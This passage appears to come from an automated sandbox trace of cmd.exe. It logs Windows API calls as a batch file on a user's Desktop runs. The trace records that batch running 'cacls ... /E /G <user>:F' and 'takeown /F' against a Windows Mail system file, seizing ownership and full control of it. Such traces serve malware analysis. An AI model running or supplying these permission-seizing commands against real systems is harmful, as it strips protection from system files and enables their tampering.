hConsoleHandle=0x7, lpMode=0x37f4a0 | out: lpMode=0x37f4a0) returned 1 [0130.400] _get_osfhandle (_FileHandle=1) returned 0x7 [0130.400] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x37f4cc, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x37f4cc*=0x26) returned 1 [0130.401] _get_osfhandle (_FileHandle=1) returned 0x7 [0130.401] GetFileType (hFile=0x7) returned 0x2 [0130.401] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0130.401] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f724 | out: lpMode=0x37f724) returned 1 [0130.401] _get_osfhandle (_FileHandle=1) returned 0x7 [0130.401] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4011a8*, nNumberOfCharsToWrite=0x5, lpNumberOfCharsWritten=0x37f750, lpReserved=0x0 | out: lpBuffer=0x4011a8*, lpNumberOfCharsWritten=0x37f750*=0x5) returned 1 [0130.402] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x37f75c | out: _Buffer=" \"C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui\" /E /G 5p5NrGJn0jS HALPmcxz:F /C ") returned 87 [0130.402] _get_osfhandle (_FileHandle=1) returned 0x7 [0130.402] GetFileType (hFile=0x7) returned 0x2 [0130.402] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0130.402] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f71c | out: lpMode=0x37f71c) returned 1 [0130.402] _get_osfhandle (_FileHandle=1) returned 0x7 [0130.402] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x57, lpNumberOfCharsWritten=0x37f748, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x37f748*=0x57) returned 1 [0130.403] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x37f77c | out: _Buffer="\r\n") returned 2 [0130.403] _get_osfhandle (_FileHandle=1) returned 0x7 [0130.403] GetFileType (hFile=0x7) returned 0x2 [0130.403] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0130.403] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f73c | out: lpMode=0x37f73c) returned 1 [0130.403] _get_osfhandle (_FileHandle=1) returned 0x7 [0130.403] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x37f768, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x37f768*=0x2) returned 1 [0130.404] _wcsicmp (_String1="cacls", _String2="DIR") returned -1 [0130.404] _wcsicmp (_String1="cacls", _String2="ERASE") returned -2 [0130.404] _wcsicmp (_String1="cacls", _String2="DEL") returned -1 [0130.404] _wcsicmp (_String1="cacls", _String2="TYPE") returned -17 [0130.404] _wcsicmp (_String1="cacls", _String2="COPY") returned -14 [0130.404] _wcsicmp (_String1="cacls", _String2="CD") returned -3 [0130.404] _wcsicmp (_String1="cacls", _String2="CHDIR") returned -7 [0130.404] _wcsicmp (_String1="cacls", _String2="RENAME") returned -15 [0130.404] _wcsicmp (_String1="cacls", _String2="REN") returned -15 [0130.404] _wcsicmp (_String1="cacls", _String2="ECHO") returned -2 [0130.404] _wcsicmp (_String1="cacls", _String2="SET") returned -16 [0130.404] _wcsicmp (_String1="cacls", _String2="PAUSE") returned -13 [0130.404] _wcsicmp (_String1="cacls", _String2="DATE") returned -1 [0130.404] _wcsicmp (_String1="cacls", _String2="TIME") returned -17 [0130.404] _wcsicmp (_String1="cacls", _String2="PROMPT") returned -13 [0130.404] _wcsicmp (_String1="cacls", _String2="MD") returned -10 [0130.404] _wcsicmp (_String1="cacls", _String2="MKDIR") returned -10 [0130.404] _wcsicmp (_String1="cacls", _String2="RD") returned -15 [0130.404] _wcsicmp (_String1="cacls", _String2="RMDIR") returned -15 [0130.404] _wcsicmp (_String1="cacls", _String2="PATH") returned -13 [0130.404] _wcsicmp (_String1="cacls", _String2="GOTO") returned -4 [0130.404] _wcsicmp (_String1="cacls", _String2="SHIFT") returned -16 [0130.404] _wcsicmp (_String1="cacls", _String2="CLS") returned -11 [0130.404] _wcsicmp (_String1="cacls", _String2="CALL") returned -9 [0130.404] _wcsicmp (_String1="cacls", _String2="VERIFY") returned -19 [0130.404] _wcsicmp (_String1="cacls", _String2="VER") returned -19 [0130.404] _wcsicmp (_String1="cacls", _String2="VOL") returned -19 [0130.404] _wcsicmp (_String1="cacls", _String2="EXIT") returned -2 [0130.404] _wcsicmp (_String1="cacls", _String2="SETLOCAL") returned -16 [0130.404] _wcsicmp (_String1="cacls", _String2="ENDLOCAL") returned -2 [0130.404] _wcsicmp (_String1="cacls", _String2="TITLE") returned -17 [0130.404] _wcsicmp (_String1="cacls", _String2="START") returned -16 [0130.404] _wcsicmp (_String1="cacls", _String2="DPATH") returned -1 [0130.404] _wcsicmp (_String1="cacls", _String2="KEYS") returned -8 [0130.404] _wcsicmp (_String1="cacls", _String2="MOVE") returned -10 [0130.404] _wcsicmp (_String1="cacls", _String2="PUSHD") returned -13 [0130.405] _wcsicmp (_String1="cacls", _String2="POPD") returned -13 [0130.405] _wcsicmp (_String1="cacls", _String2="ASSOC") returned 2 [0130.405] _wcsicmp (_String1="cacls", _String2="FTYPE") returned -3 [0130.405] _wcsicmp (_String1="cacls", _String2="BREAK") returned 1 [0130.405] _wcsicmp (_String1="cacls", _String2="COLOR") returned -14 [0130.405] _wcsicmp (_String1="cacls", _String2="MKLINK") returned -10 [0130.405] _wcsnicmp (_String1="cacl", _String2="cmd ", _MaxCount=0x4) returned -12 [0130.405] GetProcessHeap () returned 0x400000 [0130.405] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x418) returned 0x4160f0 [0130.405] SetErrorMode (uMode=0x0) returned 0x0 [0130.405] SetErrorMode (uMode=0x1) returned 0x0 [0130.405] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4160f8, lpFilePart=0x37f520 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x37f520*="Desktop") returned 0x25 [0130.405] SetErrorMode (uMode=0x0) returned 0x1 [0130.405] GetProcessHeap () returned 0x400000 [0130.405] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x4160f0, Size=0x60) returned 0x4160f0 [0130.405] GetProcessHeap () returned 0x400000 [0130.405] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x4160f0) returned 0x60 [0130.405] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0130.405] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0130.405] GetProcessHeap () returned 0x400000 [0130.405] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x120) returned 0x416158 [0130.405] GetProcessHeap () returned 0x400000 [0130.405] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x238) returned 0x416280 [0130.408] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0130.408] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x37f29c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x37f29c) returned 0xffffffff [0130.408] GetLastError () returned 0x2 [0130.408] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls", fInfoLevelId=0x1, lpFindFileData=0x37f29c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x37f29c) returned 0xffffffff [0130.408] GetLastError () returned 0x2 [0130.409] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0130.409] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x37f29c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x37f29c) returned 0x401280 [0130.409] GetProcessHeap () returned 0x400000 [0130.409] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x4155b8, Size=0x4) returned 0x4155b8 [0130.409] FindClose (in: hFindFile=0x401280 | out: hFindFile=0x401280) returned 1 [0130.409] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.COM", fInfoLevelId=0x1, lpFindFileData=0x37f29c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x37f29c) returned 0xffffffff [0130.409] GetLastError () returned 0x2 [0130.410] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.EXE", fInfoLevelId=0x1, lpFindFileData=0x37f29c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x37f29c) returned 0x401280 [0130.410] FindClose (in: hFindFile=0x401280 | out: hFindFile=0x401280) returned 1 [0130.410] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0130.410] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0130.410] GetConsoleTitleW (in: lpConsoleTitle=0x37f2ec, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0130.410] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x416720, lpFilePart=0x37ee0c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x37ee0c*="Desktop") returned 0x25 [0130.410] SetErrorMode (uMode=0x0) returned 0x1 [0130.410] GetProcessHeap () returned 0x400000 [0130.410] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x416718, Size=0x60) returned 0x416718 [0130.410] GetProcessHeap () returned 0x400000 [0130.410] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x416718) returned 0x60 [0130.410] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0130.411] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0130.411] GetProcessHeap () returned 0x400000 [0130.411] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x120) returned 0x416780 [0130.411] GetProcessHeap () returned 0x400000 [0130.411] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x238) returned 0x4168a8 [0130.411] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0130.411] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x37eb88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x37eb88) returned 0xffffffff [0130.411] GetLastError () returned 0x2 [0130.411] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls", fInfoLevelId=0x1, lpFindFileData=0x37eb88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x37eb88) returned 0xffffffff [0130.411] GetLastError () returned 0x2 [0130.412] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0130.412] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x37eb88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x37eb88) returned 0x401280 [0130.412] FindClose (in: hFindFile=0x401280 | out: hFindFile=0x401280) returned 1 [0130.412] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.COM", fInfoLevelId=0x1, lpFindFileData=0x37eb88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x37eb88) returned 0xffffffff [0130.412] GetLastError () returned 0x2 [0130.413] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.EXE", fInfoLevelId=0x1, lpFindFileData=0x37eb88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x37eb88) returned 0x401280 [0130.413] FindClose (in: hFindFile=0x401280 | out: hFindFile=0x401280) returned 1 [0130.413] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0130.413] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0130.413] GetConsoleTitleW (in: lpConsoleTitle=0x37f080, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0130.413] InitializeProcThreadAttributeList (in: lpAttributeList=0x37ef08, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x37efd0 | out: lpAttributeList=0x37ef08, lpSize=0x37efd0) returned 1 [0130.413] UpdateProcThreadAttribute (in: lpAttributeList=0x37ef08, dwFlags=0x0, Attribute=0x60001, lpValue=0x37efc8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x37ef08, lpPreviousValue=0x0) returned 1 [0130.413] GetStartupInfoW (in: lpStartupInfo=0x37eec4 | out: lpStartupInfo=0x37eec4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0130.413] lstrcmpW (lpString1="\\cacls.exe", lpString2="\\XCOPY.EXE") returned -1 [0130.416] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cacls.exe", lpCommandLine="cacls \"C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x37ef64*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="cacls \"C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x37efb0 | out: lpCommandLine="cacls \"C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", lpProcessInformation=0x37efb0*(hProcess=0x74, hThread=0x78, dwProcessId=0xb70, dwThreadId=0x8fc)) returned 1 [0130.445] CloseHandle (hObject=0x78) returned 1 [0130.445] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0130.445] GetProcessHeap () returned 0x400000 [0130.445] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x417f30 | out: hHeap=0x400000) returned 1 [0130.445] GetEnvironmentStringsW () returned 0x416b80* [0130.445] GetProcessHeap () returned 0x400000 [0130.445] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xb36) returned 0x417f30 [0130.445] FreeEnvironmentStringsW (penv=0x416b80) returned 1 [0130.445] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0131.625] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x37eea4 | out: lpExitCode=0x37eea4*=0x1f57) returned 1 [0131.625] CloseHandle (hObject=0x74) returned 1 [0131.625] _vsnwprintf (in: _Buffer=0x37efec, _BufferCount=0x13, _Format="%08X", _ArgList=0x37eeb0 | out: _Buffer="00001F57") returned 8 [0131.626] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00001F57") returned 1 [0131.626] GetProcessHeap () returned 0x400000 [0131.626] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x417f30 | out: hHeap=0x400000) returned 1 [0131.626] GetEnvironmentStringsW () returned 0x417f30* [0131.626] GetProcessHeap () returned 0x400000 [0131.626] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xb5c) returned 0x418a98 [0131.626] FreeEnvironmentStringsW (penv=0x417f30) returned 1 [0131.626] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0131.626] GetProcessHeap () returned 0x400000 [0131.626] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x418a98 | out: hHeap=0x400000) returned 1 [0131.626] GetEnvironmentStringsW () returned 0x417f30* [0131.626] GetProcessHeap () returned 0x400000 [0131.626] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xb5c) returned 0x418a98 [0131.626] FreeEnvironmentStringsW (penv=0x417f30) returned 1 [0131.626] GetProcessHeap () returned 0x400000 [0131.626] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x400d38 | out: hHeap=0x400000) returned 1 [0131.626] DeleteProcThreadAttributeList (in: lpAttributeList=0x37ef08 | out: lpAttributeList=0x37ef08) [0131.626] _get_osfhandle (_FileHandle=1) returned 0x7 [0131.627] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0131.627] _get_osfhandle (_FileHandle=1) returned 0x7 [0131.627] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0131.627] _get_osfhandle (_FileHandle=0) returned 0x3 [0131.627] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0131.628] SetConsoleInputExeNameW () returned 0x1 [0131.628] GetConsoleOutputCP () returned 0x1b5 [0131.628] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0131.628] SetThreadUILanguage (LangId=0x0) returned 0x409 [0131.628] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x37f724, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0131.629] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0131.630] _get_osfhandle (_FileHandle=3) returned 0x74 [0131.630] SetFilePointer (in: hFile=0x74, lDistanceToMove=32, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0131.630] GetProcessHeap () returned 0x400000 [0131.630] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4169d8 | out: hHeap=0x400000) returned 1 [0131.630] GetProcessHeap () returned 0x400000 [0131.630] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4168a8 | out: hHeap=0x400000) returned 1 [0131.630] GetProcessHeap () returned 0x400000 [0131.630] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x416780 | out: hHeap=0x400000) returned 1 [0131.630] GetProcessHeap () returned 0x400000 [0131.630] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x416718 | out: hHeap=0x400000) returned 1 [0131.630] GetProcessHeap () returned 0x400000 [0131.630] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x416648 | out: hHeap=0x400000) returned 1 [0131.630] GetProcessHeap () returned 0x400000 [0131.630] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x416430 | out: hHeap=0x400000) returned 1 [0131.630] GetProcessHeap () returned 0x400000 [0131.630] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4163b0 | out: hHeap=0x400000) returned 1 [0131.630] GetProcessHeap () returned 0x400000 [0131.630] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x416280 | out: hHeap=0x400000) returned 1 [0131.630] GetProcessHeap () returned 0x400000 [0131.630] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x416158 | out: hHeap=0x400000) returned 1 [0131.630] GetProcessHeap () returned 0x400000 [0131.630] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4160f0 | out: hHeap=0x400000) returned 1 [0131.630] GetProcessHeap () returned 0x400000 [0131.630] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4011c0 | out: hHeap=0x400000) returned 1 [0131.630] GetProcessHeap () returned 0x400000 [0131.630] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4011a0 | out: hHeap=0x400000) returned 1 [0131.630] GetProcessHeap () returned 0x400000 [0131.630] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x401140 | out: hHeap=0x400000) returned 1 [0131.630] _get_osfhandle (_FileHandle=3) returned 0x74 [0131.630] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0131.630] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x37f708, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x37f708*=0xc2, lpOverlapped=0x0) returned 1 [0131.631] SetFilePointer (in: hFile=0x74, lDistanceToMove=47, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0131.632] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=15, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="takeown /F %1\r\n%USERNAME%:F /C\r\n") returned 15 [0131.632] _get_osfhandle (_FileHandle=3) returned 0x74 [0131.632] GetFileType (hFile=0x74) returned 0x1 [0131.632] _get_osfhandle (_FileHandle=3) returned 0x74 [0131.632] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0131.632] GetProcessHeap () returned 0x400000 [0131.632] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x400a) returned 0x424aa8 [0131.632] GetProcessHeap () returned 0x400000 [0131.633] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x424aa8 | out: hHeap=0x400000) returned 1 [0131.634] _wcsicmp (_String1="takeown", _String2=")") returned 75 [0131.634] _wcsicmp (_String1="FOR", _String2="takeown") returned -14 [0131.634] _wcsicmp (_String1="FOR/?", _String2="takeown") returned -14 [0131.634] _wcsicmp (_String1="IF", _String2="takeown") returned -11 [0131.634] _wcsicmp (_String1="IF/?", _String2="takeown") returned -11 [0131.634] _wcsicmp (_String1="REM", _String2="takeown") returned -2 [0131.634] _wcsicmp (_String1="REM/?", _String2="takeown") returned -2 [0131.634] GetProcessHeap () returned 0x400000 [0131.634] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x58) returned 0x401140 [0131.634] GetProcessHeap () returned 0x400000 [0131.634] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x18) returned 0x4012a0 [0131.635] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x7c) returned 0x4011a0 [0131.636] _tell (_FileHandle=3) returned 47 [0131.636] _close (_FileHandle=3) returned 0 [0131.636] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x37f4dc | out: _Buffer="\r\n") returned 2 [0131.636] _get_osfhandle (_FileHandle=1) returned 0x7 [0131.636] GetFileType (hFile=0x7) returned 0x2 [0131.637] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0131.637] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f49c | out: lpMode=0x37f49c) returned 1 [0131.637] _get_osfhandle (_FileHandle=1) returned 0x7 [0131.637] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x37f4c8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x37f4c8*=0x2) returned 1 [0131.639] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0131.639] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0131.639] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x37f4d8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0131.639] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x37f4d8 | out: _Buffer=">") returned 1 [0131.639] _get_osfhandle (_FileHandle=1) returned 0x7 [0131.639] GetFileType (hFile=0x7) returned 0x2 [0131.639] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0131.639] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f4a0 | out: lpMode=0x37f4a0) returned 1 [0131.640] _get_osfhandle (_FileHandle=1) returned 0x7 [0131.640] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x37f4cc, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x37f4cc*=0x26) returned 1 [0131.640] _get_osfhandle (_FileHandle=1) returned 0x7 [0131.640] GetFileType (hFile=0x7) returned 0x2 [0131.640] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0131.640] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f724 | out: lpMode=0x37f724) returned 1 [0131.641] _get_osfhandle (_FileHandle=1) returned 0x7 [0131.641] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4012a8*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x37f750, lpReserved=0x0 | out: lpBuffer=0x4012a8*, lpNumberOfCharsWritten=0x37f750*=0x7) returned 1 [0131.641] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x37f75c | out: _Buffer=" /F \"C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui\" ") returned 58 [0131.641] _get_osfhandle (_FileHandle=1) returned 0x7 [0131.641] GetFileType (hFile=0x7) returned 0x2 [0131.641] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0131.641] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f71c | out: lpMode=0x37f71c) returned 1 [0131.642] _get_osfhandle (_FileHandle=1) returned 0x7 [0131.642] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3a, lpNumberOfCharsWritten=0x37f748, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x37f748*=0x3a) returned 1 [0131.643] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x37f77c | out: _Buffer="\r\n") returned 2 [0131.643] _get_osfhandle (_FileHandle=1) returned 0x7 [0131.643] GetFileType (hFile=0x7) returned 0x2 [0131.643] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0131.643] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f73c | out: lpMode=0x37f73c) returned 1 [0131.644] _get_osfhandle (_FileHandle=1) returned 0x7 [0131.644] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x37f768, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x37f768*=0x2) returned 1 [0131.645] _wcsicmp (_String1="takeown", _String2="DIR") returned 16 [0131.645] _wcsicmp (_String1="takeown", _String2="ERASE") returned 15 [0131.645] _wcsicmp (_String1="takeown", _String2="DEL") returned 16 [0131.645] _wcsicmp (_String1="takeown", _String2="TYPE") returned -24 [0131.645] _wcsicmp (_String1="takeown", _String2="COPY") returned 17 [0131.645] _wcsicmp (_String1="takeown", _String2="CD") returned 17 [0131.645] _wcsicmp (_String1="takeown", _String2="CHDIR") returned 17 [0131.645] _wcsicmp (_String1="takeown", _String2="RENAME") 